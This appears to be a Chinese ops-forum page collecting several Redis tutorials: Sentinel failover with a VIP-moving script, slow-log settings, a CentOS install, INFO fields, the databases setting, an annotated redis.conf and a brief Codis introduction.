set-max-intset-entries 512
zset-max-ziplist-entries 128
3、撰写sentinel配置文件(100.10.32.54 、100.10.32.55 和100.10.32.57)
vim /etc/redis-sentinel6400.conf

daemonize yes
port 26400
dir "/data/redis/redis_sentinels"
pidfile "/var/run/redis/sentinel6400.pid"
logfile "/data/redis/redis_sentinels/sentinel6400.log"
sentinel monitor master6400 100.10.32.54 6400 2
sentinel down-after-milliseconds master6400 6000
sentinel failover-timeout master6400 18000
sentinel client-reconfig-script master6400 /opt/notify_master6400.sh ##仲裁节点无需添加这行配置,client-reconfig-script参数是在sentinel做failover的过程中调用脚本漂vip到新的master上
PS:
关于sentinel 的一些工作原理和参数说明,请参阅:http://redisdoc.com/topic/sentinel.html  
 
4、撰写漂VIP的脚本(100.10.32.54 、100.10.32.55)
vim /opt/notify_master6400.sh

#!/bin/bash
MASTER_IP=$6
LOCAL_IP='100.10.32.54' #从库修改为100.10.32.55
VIP='100.10.32.250'
NETMASK='24'
INTERFACE='eth0'
if [ ${MASTER_IP} = ${LOCAL_IP} ]; then
/sbin/ip addr add ${VIP}/${NETMASK} dev ${INTERFACE}
/sbin/arping -q -c 3 -A ${VIP} -I ${INTERFACE}
exit 0
else
/sbin/ip addr del ${VIP}/${NETMASK} dev ${INTERFACE}
exit 0
fi
exit 1
chmod +x /opt/notify_master6400.sh   #赋予可执行权限
PS:
这里大概说一下这个脚本的工作原理,sentinel在做failover的 过程中会传出6个参数,分别是,其中第6个参数from-ip也就是新的master的ip,对应脚本中的MASTER_IP,下面的if判断大家应该都很了然了,如果MASTER_IP=LOCAL_IP,那就绑定VIP,反之删除VIP。
 
5、启动redis服务(100.10.32.54、100.10.32.55)
redis-server /etc/redis_6400.conf
6、初始化主从(100.10.32.55)
redis-cli -p 6400 slaveof 10.10.32.54 6400
7、绑定VIP到主库(100.10.32.54)
/sbin/ip addr add 100.10.32.250/24 dev eth0
8、启动sentinel服务(100.10.32.54、100.10.32.55、100.10.32.57)
redis-server /etc/redis-sentinel6400.conf --sentinel
至此,整个高可用方案已经搭建完成。
 
[root@localhost tmp]# redis-cli -h 100.10.32.54  -p 6400 info  Replication
# Replication
role:master
connected_slaves:1
slave0:ip=100.10.32.55,port=6400,state=online,offset=72669,lag=1
master_repl_offset:72669
repl_backlog_active:1
repl_backlog_size:1048576
repl_backlog_first_byte_offset:2
repl_backlog_histlen:72668
[root@localhost tmp]# redis-cli -h 100.10.32.54  -p 26400 info Sentinel
# Sentinel
sentinel_masters:1
sentinel_tilt:0
sentinel_running_scripts:0
sentinel_scripts_queue_length:0
master0:name=master6400,status=ok,address=100.10.32.54:6400,slaves=1,sentinels=3
[root@localhost tmp]# ip a |grep eth0
2: eth0: mtu 1500 qdisc mq state UP qlen 1000
inet 100.10.32.54/24 brd 100.10.32.255 scope global eth0
inet 100.10.32.250/24 scope global secondary eth0

四、测试
1、把主库停掉
redis-cli -h 100.10.32.54  -p 6400 shutdown
2、看从库是否提升为主库
[root@localhost tmp]# redis-cli -h 100.10.32.55 -p 6400 info Replication
# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
看VIP是否漂移到100.10.32.55上
[root@localhost tmp]# ip a |grep eth0
2: eth0: mtu 1500 qdisc mq state UP qlen 1000
inet 100.10.32.55/24 brd 100.10.32.255 scope global eth0
inet 100.10.32.250/24 scope global secondary eth0
4、看Sentinel的监控状态
[root@localhost tmp]# redis-cli -p 26400 info  Sentinel
# Sentinel
sentinel_masters:1
sentinel_tilt:0
sentinel_running_scripts:0
sentinel_scripts_queue_length:0
master0:name=master6400,status=ok,address=100.10.32.55:6400,slaves=1,sentinels=3
原文链接:http://navyaijm.blog.51cto.com/4647068/1745569  
参考学习:http://www.cnblogs.com/LiZhiW/p/4851631.html 

Redis慢日志查询系统slowlog

数据库 chris 发表了文章 0 个评论 3361 次浏览 2016-07-07 20:27 来自相关话题

一、什么是SlowLog SlowLog是Redis用来记录慢查询执行时间的日志系统。由于SlowLog只保存在内存中,所以SlowLog的效率非常高, 所以你不用担心会影响到你Redis的性能问题。SlowLog是Red ...查看全部


一、什么是SlowLog


SlowLog是Redis用来记录慢查询执行时间的日志系统。由于SlowLog只保存在内存中,所以SlowLog的效率非常高,
所以你不用担心会影响到你Redis的性能问题。SlowLog是Redis 2.2.12版本之后才引入的一条命令。


二、SlowLog设置


SlowLog两种设置方式如下:
 
1、redis.conf配置文件设置
在配置文件redis.conf中设置:
slowlog-log-slower-than 10000
slowlog-max-len 128
其中slowlog-log-slower-than表示slowlog的划定界限,只有query执行时间大于slowlog-log-slower-than的才会定义成慢查询,才会被slowlog进行记录。slowlog-log-slower-than设置的单位是微秒,默认是10000微秒,也就是10毫秒。

slowlog-max-len表示慢查询最大的条数,当slowlog超过设定的最大值后,会将最早的slowlog删除,是个FIFO队列。
 
2、使用config方式动态设置slowlog
如下,可以通过config方式动态设置slowlog:
- 查看当前slowlog-log-slower-than设置
127.0.0.1:6379> CONFIG GET slowlog-log-slower-than
1) "slowlog-log-slower-than"
2) "10000"
- 设置slowlog-log-slower-than为100ms
127.0.0.1:6379> CONFIG SET slowlog-log-slower-than 100000
OK
- 设置slowlog-max-len为1000
127.0.0.1:6379> CONFIG SET slowlog-max-len 1000
OK
参考:http://redisdoc.com/server/slowlog.html
 


三、SlowLog 查看


1、查看slowlog总条数
127.0.0.1:6379> SLOWLOG LEN 
(integer) 4

2、查看slowlog
127.0.0.1:6379> SLOWLOG GET
1) 1) (integer) 25
2) (integer) 1440057769
3) (integer) 6
4) 1) "SLOWLOG"
2) "LEN"
2) 1) (integer) 24
2) (integer) 1440057756
3) (integer) 36
4) 1) "CONFIG"
2) "GET"
3) "slowlog-log-slower-than"
3) 1) (integer) 23
2) (integer) 1440057752
3) (integer) 11
4) 1) "CONFIG"
2) "SET"
3) "slowlog-log-slower-than"
4) "1"
4) 1) (integer) 22
2) (integer) 1440057493
3) (integer) 27
4) 1) "CONFIG"
2) "GET"
3) "slowlog-log-slower-than"
5) 1) (integer) 21
2) (integer) 1440057133
3) (integer) 7
4) 1) "monitor"
如果要获取指定的条数可以使用SLOWLOG GET N命令
127.0.0.1:6379> SLOWLOG GET 1
1) 1) (integer) 26 // slowlog唯一编号id
2) (integer) 1440057815 // 查询的时间戳
3) (integer) 47 // 查询的耗时(微秒),如表示本条命令查询耗时47微秒
4) 1) "SLOWLOG" // 查询命令,完整命令为 SLOWLOG GET,slowlog最多保存前面的31个key和128字符
2) "GET"

Centos6.4下安装最新版Redis

运维 Ansible 发表了文章 0 个评论 3622 次浏览 2016-06-06 19:02 来自相关话题

以下操作过程是记录在Centos6.4下安装最新版的Redis过程。   1、安装epel repo Yum安装源//32 位 rpm -Uvh http://download.fedoraproject.org/pub/e ...查看全部
以下操作过程是记录在Centos6.4下安装最新版的Redis过程。
 
1、安装epel repo Yum安装源
//32 位
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm

//64 位
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

2、安装remi Yum安装源
rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm

3、制定Yum源安装Redis
yum --enablerepo=remi,remi-test install redis

4、配置
# vim /etc/sysctl.conf
vm.overcommit_memory=1
# sysctl vm.overcommit_memory=1

# sysctl -w fs.file-max=100000

5、版本确认和添加开机自启
# redis-server --version
Redis server v=3.2.0 sha=00000000:0 malloc=jemalloc-3.6.0 bits=64 build=ae5ce1900d9386a6
# chkconfig --add redis
# chkconfig --level 345 redis on

Redis信息提取

数据库 空心菜 发表了文章 0 个评论 2908 次浏览 2016-04-25 18:48 来自相关话题

默认使用redis-cli  info命令返回时默认选择的信息,但是有时候你做监控提取有效的数值的时候如果默认的可能还需要去过滤一些你用不到的无用数据,从而提取你需要的数据,这样就增加了工作量,有什么办法可以准确的提取自己想要的一些指呢,如下所示。 ...查看全部
默认使用redis-cli  info命令返回时默认选择的信息,但是有时候你做监控提取有效的数值的时候如果默认的可能还需要去过滤一些你用不到的无用数据,从而提取你需要的数据,这样就增加了工作量,有什么办法可以准确的提取自己想要的一些指呢,如下所示。
 
以一种易于解释(parse)且易于阅读的格式,返回关于 Redis 服务器的各种信息和统计数值。
 
通过给定可选的参数 section ,可以让命令只返回某一部分的信息,语法如下:
# redis-cli info [default|all|server....]

server 部分记录了 Redis 服务器的信息,它包含以下域:
    []redis_version : Redis 服务器版本[/][]redis_git_sha1 : Git SHA1[/][]redis_git_dirty : Git dirty flag[/][]os : Redis 服务器的宿主操作系统[/][]arch_bits : 架构(32 或 64 位)[/][]multiplexing_api : Redis 所使用的事件处理机制[/][]gcc_version : 编译 Redis 时所使用的 GCC 版本[/][]process_id : 服务器进程的 PID[/][]run_id : Redis 服务器的随机标识符(用于 Sentinel 和集群)[/][]tcp_port : TCP/IP 监听端口[/][]uptime_in_seconds : 自 Redis 服务器启动以来,经过的秒数[/][]uptime_in_days : 自 Redis 服务器启动以来,经过的天数[/][]lru_clock : 以分钟为单位进行自增的时钟,用于 LRU 管理[/]
  clients 部分记录了已连接客户端的信息,它包含以下域:
    []connected_clients : 已连接客户端的数量(不包括通过从属服务器连接的客户端)[/][]client_longest_output_list : 当前连接的客户端当中,最长的输出列表[/][]client_longest_input_buf : 当前连接的客户端当中,最大输入缓存[/][]blocked_clients : 正在等待阻塞命令(BLPOP、BRPOP、BRPOPLPUSH)的客户端的数量[/]
  memory 部分记录了服务器的内存信息,它包含以下域:
    []used_memory : 由 Redis 分配器分配的内存总量,以字节(byte)为单位[/][]used_memory_human : 以人类可读的格式返回 Redis 分配的内存总量[/][]used_memory_rss : 从操作系统的角度,返回 Redis 已分配的内存总量(俗称常驻集大小)。这个值和 top 、 ps 等命令的输出一致。[/][]used_memory_peak : Redis 的内存消耗峰值(以字节为单位)[/][]used_memory_peak_human : 以人类可读的格式返回 Redis 的内存消耗峰值[/][]used_memory_lua : Lua 引擎所使用的内存大小(以字节为单位)[/][]mem_fragmentation_ratio : used_memory_rss 和 used_memory 之间的比率[/][]mem_allocator : 在编译时指定的, Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。[/]
在理想情况下,used_memory_rss的值应该只比used_memory稍微高一点儿。当 rss > used ,且两者的值相差较大时,表示存在(内部或外部的)内存碎片。内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。当 used > rss 时,表示 Redis 的部分内存被操作系统换出到交换空间了,在这种情况下,操作可能会产生明显的延迟。
Because Redis does not have control over how its allocations are mapped to memory pages, high used_memory_rss is often the result of a spike in memory usage.
当Redis释放内存时,分配器可能会,也可能不会,将内存返还给操作系统。如果 Redis 释放了内存,却没有将内存返还给操作系统,那么 used_memory 的值可能和操作系统显示的 Redis 内存占用并不一致。查看 used_memory_peak 的值可以验证这种情况是否发生。 persistence 部分记录了跟 RDB 持久化和 AOF 持久化有关的信息,它包含以下域:
    []loading : 一个标志值,记录了服务器是否正在载入持久化文件。[/][]rdb_changes_since_last_save : 距离最近一次成功创建持久化文件之后,经过了多少秒。[/][]rdb_bgsave_in_progress : 一个标志值,记录了服务器是否正在创建 RDB 文件。[/][]rdb_last_save_time : 最近一次成功创建 RDB 文件的 UNIX 时间戳。[/][]rdb_last_bgsave_status : 一个标志值,记录了最近一次创建 RDB 文件的结果是成功还是失败。[/][]rdb_last_bgsave_time_sec : 记录了最近一次创建 RDB 文件耗费的秒数。[/][]rdb_current_bgsave_time_sec : 如果服务器正在创建 RDB 文件,那么这个域记录的就是当前的创建操作已经耗费的秒数。[/][]aof_enabled : 一个标志值,记录了 AOF 是否处于打开状态。[/][]aof_rewrite_in_progress : 一个标志值,记录了服务器是否正在创建 AOF 文件。[/][]aof_rewrite_scheduled : 一个标志值,记录了在 RDB 文件创建完毕之后,是否需要执行预约的 AOF 重写操作。[/][]aof_last_rewrite_time_sec : 最近一次创建 AOF 文件耗费的时长。[/][]aof_current_rewrite_time_sec : 如果服务器正在创建 AOF 文件,那么这个域记录的就是当前的创建操作已经耗费的秒数。[/][]aof_last_bgrewrite_status : 一个标志值,记录了最近一次创建 AOF 文件的结果是成功还是失败。[/]
 如果 AOF 持久化功能处于开启状态,那么这个部分还会加上以下域:
    []aof_current_size : AOF 文件目前的大小。[/][]aof_base_size : 服务器启动时或者 AOF 重写最近一次执行之后,AOF 文件的大小。[/][]aof_pending_rewrite : 一个标志值,记录了是否有 AOF 重写操作在等待 RDB 文件创建完毕之后执行。[/][]aof_buffer_length : AOF 缓冲区的大小。[/][]aof_rewrite_buffer_length : AOF 重写缓冲区的大小。[/][]aof_pending_bio_fsync : 后台 I/O 队列里面,等待执行的 fsync 调用数量。[/][]aof_delayed_fsync : 被延迟的 fsync 调用数量。[/]
 stats 部分记录了一般统计信息,它包含以下域:
    []total_connections_received : 服务器已接受的连接请求数量。[/][]total_commands_processed : 服务器已执行的命令数量。[/][]instantaneous_ops_per_sec : 服务器每秒钟执行的命令数量。[/][]rejected_connections : 因为最大客户端数量限制而被拒绝的连接请求数量。[/][]expired_keys : 因为过期而被自动删除的数据库键数量。[/][]evicted_keys : 因为最大内存容量限制而被驱逐(evict)的键数量。[/][]keyspace_hits : 查找数据库键成功的次数。[/][]keyspace_misses : 查找数据库键失败的次数。[/][]pubsub_channels : 目前被订阅的频道数量。[/][]pubsub_patterns : 目前被订阅的模式数量。[/][]latest_fork_usec : 最近一次 fork() 操作耗费的毫秒数。[/]
 replication : 主/从复制信息
    []role : 如果当前服务器没有在复制任何其他服务器,那么这个域的值就是 master ;否则的话,这个域的值就是 slave 。注意,在创建复制链的时候,一个从服务器也可能是另一个服务器的主服务器。[/]
 如果当前服务器是一个从服务器的话,那么这个部分还会加上以下域:
    []master_host : 主服务器的 IP 地址。[/][]master_port : 主服务器的 TCP 监听端口号。[/][]master_link_status : 复制连接当前的状态, up 表示连接正常, down 表示连接断开。[/][]master_last_io_seconds_ago : 距离最近一次与主服务器进行通信已经过去了多少秒钟。[/][]master_sync_in_progress : 一个标志值,记录了主服务器是否正在与这个从服务器进行同步。[/]
 如果同步操作正在进行,那么这个部分还会加上以下域:
    []master_sync_left_bytes : 距离同步完成还缺少多少字节数据。[/][]master_sync_last_io_seconds_ago : 距离最近一次因为 SYNC 操作而进行 I/O 已经过去了多少秒。[/]
 如果主从服务器之间的连接处于断线状态,那么这个部分还会加上以下域:
    []master_link_down_since_seconds : 主从服务器连接断开了多少秒。[/]
 以下是一些总会出现的域:
    []connected_slaves : 已连接的从服务器数量。[/]
 对于每个从服务器,都会添加以下一行信息:
    []slaveXXX : ID、IP 地址、端口号、连接状态[/]
 cpu 部分记录了 CPU 的计算量统计信息,它包含以下域:
    []used_cpu_sys : Redis 服务器耗费的系统 CPU 。[/][]used_cpu_user : Redis 服务器耗费的用户 CPU 。[/][]used_cpu_sys_children : 后台进程耗费的系统 CPU 。[/][]used_cpu_user_children : 后台进程耗费的用户 CPU 。[/]
 commandstats : Redis 命令统计信息cluster : Redis 集群信息keyspace : 数据库相关的统计信息 除上面给出的这些值以外,参数还可以是下面这两个:
    []    all : 返回所有信息[/][]    default : 返回默认选择的信息[/]

当不带参数直接调用 INFO 命令时,使用 default 作为默认参数。
其他信息参考:http://redisdoc.com/server/info.html

Redis database配置项解析

数据库 OpenSkill 发表了文章 0 个评论 11633 次浏览 2016-04-12 19:58 来自相关话题

读到redis配置文件的时候,碰到databases 16我不明白了,然后开启百度和google的搜索介绍之门,下面把我读取文章吸取到的解释介绍如下。   官方的解释:可用数据库数,默认值为16,默认数据库为0。 刚开始咋一 ...查看全部
读到redis配置文件的时候,碰到databases 16我不明白了,然后开启百度和google的搜索介绍之门,下面把我读取文章吸取到的解释介绍如下。
 
官方的解释:可用数据库数,默认值为16,默认数据库为0。
刚开始咋一看没有明白,可用数据库的个数,redis一个实例不就是一个数据库吗。怎么还可以配置多个数据库。这是因为Redis下,数据库是由一个整数索引标识,而不是由一个数据库名称,可以直白的理解为配置不同的的库,占用的是不同的内存空间,不同的库之间相互不影响,独立工作,只不过都是借宿在这个Redis实例上面生存的空间。
 
Redis的配置文件中默认的数据库总数为16个,默认它是一个下标基于0到15的数组:
databases 16
database.png


应用场景


为什么Redis会有这么一个设计场景呢,我想这是一个类似多租户的概念。就像虚拟化和容器一样,你可以虚拟出多台机器和多个容器来,充分利用物理机器的硬件配置来work,达到服务器性能最大的利用率,各个虚拟机和容器之间单独运行,互补影响和干扰,我想Redis的多数据库也是同样的道理。
 
场景:
redisdatabase.png

你或许希望一个Redis应用(一个Redis server,或者一个Redis server/slaves群组)能为多个客户端应用服务,如果这些客户端应用都各自为营,向Redis写数据的话,很可能会导致key冲突(我们知道Redis是一个key-value结构的存储结构)。为了将不同的应用分开,你可以用不同的前缀去区分(eg: app_i:xx:yy, app_ii:xx:yy)。这时候你就不用这么麻烦,就可以直接利用Redis分割这些key的机制:Database的概念。
 
每个数据库都有属于自己的空间,不必担心之间的key冲突。
object.png

不同的数据库下,相同的key取到各自的值。
flushdb.png

flushdb命令清除数据,只会清除当前的数据库下的数据,不会影响到其他数据库。flushall命令会清除这个实例的数据,在执行这个命令之前要考虑清楚,我这里只是实验环境,无所谓了。
 
数据库的数量是可以配置的,默认情况下是16个。修改redis.conf下的databases指令:
databases 64
redis没有提供任何方法来关联标识不同的数据库。因此,需要你来跟踪什么数据存储到哪个数据库下或者什么业务的数据存在哪个库里面,这个我觉得可以用Zookeeper来解决。


总结


Redis databases,从“客户端应用都各自为营”和业务分离的角度来看,Database的概念是很适用的,它让我们有清晰的数据划分,可以放心的把注意力放在key的设计上。

Redis安装配置详解

数据库 空心菜 发表了文章 0 个评论 2921 次浏览 2016-03-31 15:43 来自相关话题

下载编译安装***三部曲 # cd /usr/local/src # wget http://redis.googlecode.com/files/redis-2.6.10.tar.gz # tar zxvf redis-2 ...查看全部
下载编译安装
***三部曲
# cd /usr/local/src
# wget http://redis.googlecode.com/files/redis-2.6.10.tar.gz
# tar zxvf redis-2.6.10.tar.gz
# cd redis-2.6.10
# make
# make install


执行文件说明:
***make命令执行完成后,会在src目录下生成5个可执行文件:
# redis-server Redis服务器的daemon启动程序
# redis-cli Redis命令行操作工具。当然,你也可以用telnet根据其纯文本协议来操作
# redis-benchmark Redis性能测试工具,测试Redis在你的系统及你的配置下的读写性能
# redis-check-aof 更新日志检查
# redis-check-dump 用于本地数据库检查


echo "1" > /proc/sys/vm/overcommit_memory
1表示内核允许分配所有的物理内存,而不管当前的内存状态如何。


cp redis-benchmark redis-cli redis-server /usr/bin/   #拷贝可执行文件
cp redis.conf /etc/ # redis启动配置文件
配置文件详解:
#是否作为守护进程运行
daemonize yes

#如以后台进程运行,则需指定一个pid,默认为/var/run/redis.pid
pidfile redis.pid

#绑定主机IP,默认值为127.0.0.1
bind 0.0.0.0

#Redis默认监听端口
port 6379

#客户端闲置多少秒后,断开连接,默认为300(秒)
timeout 300

#日志记录等级,有4个可选值,debug,verbose(默认值),notice,warning
loglevel verbose

#指定日志输出的文件名,默认值为stdout,也可设为/dev/null屏蔽日志
logfile stdout

#可用数据库数,默认值为16,默认数据库为0
databases 16

#保存数据到disk的策略:

#当有一条Keys数据被改变时,900秒刷新到disk一次
save 900 1

#当有10条Keys数据被改变时,300秒刷新到disk一次
save 300 10

#当有1w条keys数据被改变时,60秒刷新到disk一次
save 60 10000

#当dump .rdb数据库的时候是否压缩数据对象
rdbcompression yes

#存储和加载rdb文件时校验
rdbchecksum yes

#本地数据库文件名,默认值为dump.rdb
dbfilename dump.rdb

#后台存储错误停止写。
stop-writes-on-bgsave-error yes

#本地数据库存放路径,默认值为 ./
dir /var/lib/redis/
Redis  Replication配置:
# slaveof   当本机为从服务时,设置主服务的IP及端口

# masterauth 当本机为从服务时,设置主服务的连接密码

#连接密码
#requirepass foobared

#最大客户端连接数,默认不限制
# maxclients 128

#最大内存使用设置,达到最大内存设置后,Redis会先尝试清除已到期或即将到期的Key,当此方法处理后,任到达最大内存设置,将无法再进行写入操作。

# maxmemory

#是否在每次更新操作后进行日志记录,如果不开启,可能会在断电时导致一段时间内的数据丢失。因为redis本身同步数据文件是按上面save条件来同步的,所以有的数据会在一段时间内只存在于内存中。默认值为no

appendonly no

#更新日志文件名,默认值为appendonly.aof

#appendfilename

#更新日志条件,共有3个可选值。no表示等操作系统进行数据缓存同步到磁盘,always表示每次更新操作后手动调用fsync()将数据写到磁盘,everysec表示每秒同步一次(默认值)。

# appendfsync always

appendfsync everysec

# appendfsync no

#当slave失去与master的连接,或正在拷贝中,如果为yes,slave会响应客户端的请求,数据可能不同步甚至没有数据,如果为no,slave会返回错误"SYNC with master in progress"
slave-serve-stale-data yes

#如果为yes,slave实例只读,如果为no,slave实例可读可写。
slave-read-only yes

# 在slave和master同步后(发送psync/sync),后续的同步是否设置成TCP_NODELAY . 假如设置成yes,则redis会合并小的TCP包从而节省带宽,但会增加同步延迟(40ms),造成master与slave数据不一致 假如设置成no,则redis master会立即发送同步数据,没有延迟
repl-disable-tcp-nodelay no

#如果master不能再正常工作,那么会在多个slave中,选择优先值最小的一个slave提升为master,优先值为0表示不能提升为master。
slave-priority 100

#[size=16]# LIMITS [/size]##
maxclients 10000 #客户端并发连接数的上限是10000,到达上限,服务器会关闭所有新连接并返回错误"max number of clients reached"

maxmemory 15G #设置最大内存,到达上限,服务器会根据驱逐政策(eviction policy)删除某些键值,如果政策被设置为noeviction,那么redis只读,对于增加内存的操作请求返回错误。

#[size=16]# APPEND ONLY MODE [/size]##
appendonly no #redis默认采用快照(snapshotting)异步转存到硬盘中,它是根据save指令来触发持久化的,当Redis异常中断或停电时,可能会导致最后一些写操作丢失。AOF(Append Only File,只追加文件)可以提供更好的持久性,结合apendfsync指令可以把几分钟的数据丢失降至一秒钟的数据丢失,它通过日志把所有的操作记录下来,AOF和RDB持久化可以同时启动。
appendfilename appendonly.aof    #指定aof的文件名。
apendfsync always|everysec|no    #调用fsync()写数据到硬盘中,always是每一次写操作就马上同步到日志中,everysec是每隔一秒强制fsync,no是不调用fsync(),让操作系统自己决定何时同步。
no-appendfsync-on-rewrite no    #如果为yes,当BGSAVE或BGREWRITEAOF指令运行时,即把AOF文件转写到RDB文件中时,会阻止调用fsync()。
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb    #Redis会将AOF文件最初的大小记录下来,如果当前的AOF文件的大小增加100%并且超过64mb时,就会自动触发Redis改写AOF文件到RDB文件中,如果auto-aof-rewrite-percentage为0表示取消自动rewrite功能。

#[size=16]# LUA SCRIPTING [/size]##
lua-time-limit 5000    #一个Lua脚本最长的执行时间为5000毫秒(5秒),如果为0或负数表示无限执行时间。

#[size=16]# SLOW LOG [/size]##
slowlog-log-slower-than 10000    #当某个请求执行时间(不包括IO时间)超过10000微妙(10毫秒),把请求记录在慢日志中 ,如果为负数不使用慢日志,如果为0强制记录每个指令。
slowlog-max-len 128    #慢日志的最大长度是128,当慢日志超过128时,最先进入队列的记录会被踢出来,慢日志会消耗内存,你可以使用SLOWLOG RESET清空队列回收这些内存。

#[size=16]# ADVANCED CONFIG [/size]##
hash-max-ziplist-entries 512
hash-max-ziplist-value 64    #较小的hash可以通过某种特殊的方式进行编码,以节省大量的内存空间,我们指定最大的条目数为512,每个条目的最大长度为64。
list-max-ziplist-entries 512
list-max-ziplist-value 64    #同上。
zset-max-ziplist-entries 128
zset-max-ziplist-value 64    #同上。
activerehashing yes    #重新哈希the main Redis hash table(the one mapping top-level keys to values),这样会节省更多的空间。
client-output-buffer-limit normal 0 0 0    #对客户端输出缓冲进行限制可以强迫那些就不从服务器读取数据的客户端断开连接。对于normal client,第一个0表示取消hard limit,第二个0和第三个0表示取消soft limit,normal client默认取消限制,因为如果没有寻问,他们是不会接收数据的。
client-output-buffer-limit slave 256mb 64mb 60    #对于slave client和MONITER client,如果client-output-buffer一旦超过256mb,又或者超过64mb持续60秒,那么服务器就会立即断开客户端连接。
client-output-buffer-limit pubsub 32mb 8mb 60    #对于pubsub client,如果client-output-buffer一旦超过32mb,又或者超过8mb持续60秒,那么服务器就会立即断开客户端连接。

#[size=16]# INCLUDES [/size]##
include /path/to/conf    #包含一些可以重用的配置文件。

hz 10  #Redis 调用内部函数来执行后台task,比如关闭已经timeout连接,删除过期的keys并且永远不会被访问到的,执行频率根据 hz 后面的值来确定。在Redis 比较空闲的时候,提高这个值,能充分利用CPU,让Redis相应速度更快,可取范围是1-500 ,建议值为 1--100

aof-rewrite-incremental-fsync yes  # 当子进程重写AOF文件,以下选项开启时,AOF文件会每产生32M数据同步一次。这有助于更快写入文件到磁盘避免延迟

#############[size=16]# VIRTUAL MEMORY [/size]######[size=16]#[/size]

#是否开启VM功能,默认值为no

vm-enabled no

# vm-enabled yes

#虚拟内存文件路径,默认值为/tmp/redis.swap,不可多个Redis实例共享

vm-swap-file /tmp/redis.swap

#将所有大于vm-max-memory的数据存入虚拟内存,无论vm-max-memory设置多小,所有索引数据都是内存存储的 (Redis的索引数据就是keys),也就是说,当vm-max-memory设置为0的时候,其实是所有value都存在于磁盘。默认值为0。

vm-max-memory 0

vm-page-size 32

vm-pages 134217728

vm-max-threads 4

##########[size=16]# ADVANCED CONFIG [/size]##########[size=16]#[/size]

glueoutputbuf yes

hash-max-zipmap-entries 64

hash-max-zipmap-value 512

#是否重置Hash表

activerehashing yes 
_____________________________________________________________________
注意:Redis官方文档对VM的使用提出了一些建议:

当你的key很小而value很大时,使用VM的效果会比较好.因为这样节约的内存比较大.
当你的key不小时,可以考虑使用一些非常方法将很大的key变成很大的value,比如你可以考虑将key,value组合成一个新的value.
最好使用linux ext3 等对稀疏文件支持比较好的文件系统保存你的swap文件.
vm-max-threads这个参数,可以设置访问swap文件的线程数,设置最好不要超过机器的核数.如果设置为0,那么所有对swap文件的操作都是串行的.可能会造成比较长时间的延迟,但是对数据完整性有很好的保证.
#启动服务
redis-server /etc/redis.conf

#操作窗口
redis-cli
redis-cli set foo bar
OK
redis-cli get foo
bar

#关闭redis
redis-cli shutdown 

#强制备份数据到磁盘,使用如下命令
redis-cli save 
redis-cli -p 6380 save  #指定端口

redis-cli -r 3 info    # 重复执行info命令三次
cat testStr.txt | redis-cli -x set testStr   # 读取testStr.txt文件所有内容设置为testStr的值
redis-cli keys \*   # 查看所有键值信息
redis-cli -n 1 keys "test*" | xargs redis-cli -n 1 del # 删除DBID为1的test开头的key值 
redis-cli -p 6379 info |  grep '\'  # 过滤查询used_memory属性
redis-check-dump  dump.rdb    # 检查本地数据库文件
_____________________________________________________________________
    redis双机高可用的基础,是redis的主备复制机制。指定主备角色,是用slaveof命令。
    指定本机为master 
         slaveof NO ONE 
    指定本机为192.168.1.10的slave 
         slaveof 192.168.1.10 6379

    硬盘存储两种方式任选其一: 1、save 为快照    2、aof 为持久化  
    aof日志文件损坏,可用 Redis 随身带的 redis-check-aof 命令来修复原始文件:
    redis-check-aof --fix "filename"

_____________________________________________________________________

redis的基准信息和性能检测
# redis-benchmark 命令测试性能      

    redis-benchmark -h localhost -p 6379 -c 100 -n 100000

    100个并发连接,100000个请求,检测host为localhost 端口为6379的redis服务器性能

    ./redis-benchmark -n 100000 –c 50
        ====== –c 50 ======
        100000 requests completed in 1.93 seconds (100000个请求完成于 1.93 秒 )
        50 parallel clients (每个请求有50个并发客户端)
        3 bytes payload (每次写入3字节)
        keep alive: 1 (保持1个连接)
        58.50% <= 0 milliseconds
        99.17% <= 1 milliseconds
        99.58% <= 2 milliseconds
        99.85% <= 3 milliseconds
        99.90% <= 6 milliseconds
        100.00% <= 9 milliseconds

    (所有请求在62毫秒内完成)
        114293.71 requests per second(每秒 114293.71 次查询)
        
         例子:
        redis-benchmark -h 192.168.1.1 -p 6379 -n 100000 -c 20
        redis-benchmark -t set -n 1000000 -r 100000000
        redis-benchmark -t ping,set,get -n 100000 –csv
        redis-benchmark -r 10000 -n 10000 lpush mylist 

_____________________________________________________________________
Redis的query分析
    redis-faina(https://github.com/Instagram/redis-faina) 是由Instagram 开发并开源的一个Redis 查询分析小工具,需安装python环境。

    redis-faina 是通过Redis的MONITOR命令来实现的,通过对在Redis上执行的query进行监控,统计出一段时间的query特性,需root权限。

    通过管道从stdin读取N条命令,直接分析

    redis-cli -p 6439 monitor  | head -n | ./redis-faina.py         

# python-redis官网
https://pypi.python.org/pypi/redis

Redis高可用集群开源项目Codis介绍

开源项目 koyo 发表了文章 0 个评论 3643 次浏览 2016-02-17 23:56 来自相关话题

Redis在豌豆荚的使用历程---单实例==》多实例,业务代码中做sharding==》单个Twemproxy==》多个Twemproxy==》Codis,豌豆荚自己开发的分布式Redis服务。在大规模的Redis使用过程中,他们发现Redis受限于多个方面: ...查看全部
Redis在豌豆荚的使用历程---单实例==》多实例,业务代码中做sharding==》单个Twemproxy==》多个Twemproxy==》Codis,豌豆荚自己开发的分布式Redis服务。在大规模的Redis使用过程中,他们发现Redis受限于多个方面:单机内存有限、带宽压力、单点问题、不能动态扩容以及磁盘损坏时的数据抢救。
 
Codis 是一个分布式 Redis 解决方案, 对于上层的应用来说, 连接到 Codis Proxy 和连接原生的 Redis Server 没有明显的区别 (不支持的命令列表), 上层应用可以像使用单机的 Redis 一样使用, Codis 底层会处理请求的转发, 不停机的数据迁移等工作, 所有后边的一切事情, 对于前面的客户端来说是透明的, 可以简单的认为后边连接的是一个内存无限大的 Redis 服务.
 
Codis 由四部分组成:
    []Codis Proxy   (codis-proxy)[/][]Codis Manager (codis-config)[/][]Codis Redis   (codis-server)[/][]ZooKeeper (coordinator)[/]
每个部分都可动态扩容.
